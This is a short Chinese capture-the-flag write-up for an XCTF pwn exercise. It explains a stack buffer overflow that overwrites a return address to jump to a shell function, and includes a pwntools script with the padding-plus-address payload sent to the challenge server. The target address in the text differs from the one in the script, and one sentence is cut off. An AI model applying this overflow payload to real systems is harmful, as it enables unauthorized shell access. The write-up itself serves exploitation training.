https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5053&page=1
相比前两题,略有难度,费了点点劲,但是还好,没费太大劲
程序代码非常短,简单地说,就是缓冲区溢出拿shell
然后前面有个函数叫做
这里其实就有点坑了,因为这里已经涉及到偏移了,比较麻烦。。。
先说这个缓冲区溢出吧,实际上它的目的是要让我输出一个足够长的字符串,这个字符串可以刚好覆盖函数的返回地址,之后直接跳到shell函数的位置,
即直接跳到 0x400596,目前有一个问题就是,这个程序是否有什么ASLR相关的功能,
查一下,
查了一下之后发现,其实这玩意只开了一个NX,Windows 下这个叫做DEP,是做数据保护的,
行了,那我就直接尝试改函数返回地址为 0x400596 尝试一下。
1 from pwn import * 2 3 #a = process("./291721f42a044f50a2aead748d539df0") 4 a = remote('124.126.19.106', 33948) 5 r = a.recvuntil('\n') 6 print(r) 7 8 str = "a" * 128 + "A" * 8 + '\x9a\x05\x40\x00\x00\x00\x00\x00' 9 print(str) 10 a.send(str); 11 12 a.interactive()
0x80个常规字符 a, 然后追加 8个 A 是为了覆盖栈里面的老rbp,因为要跳到的目标函数里面不用rbp,所以也不会出现问题,
最后一串就是目标函数地址了
经过这么一搞,发现竟然真的成了
输入一串字符,然后覆盖老rip返回地址之后,跳到了一个目标地址,可以拿到shell,flag 在目录中
这个题也没啥难点,就是需要判断和尝试,这题没开ASLR,如果开了ASLR的话,基址不固定,那就疯了。
我浪费了一些时间,主要也是在这个上面。
由浅入深吧,宗地来说,还是很容易的。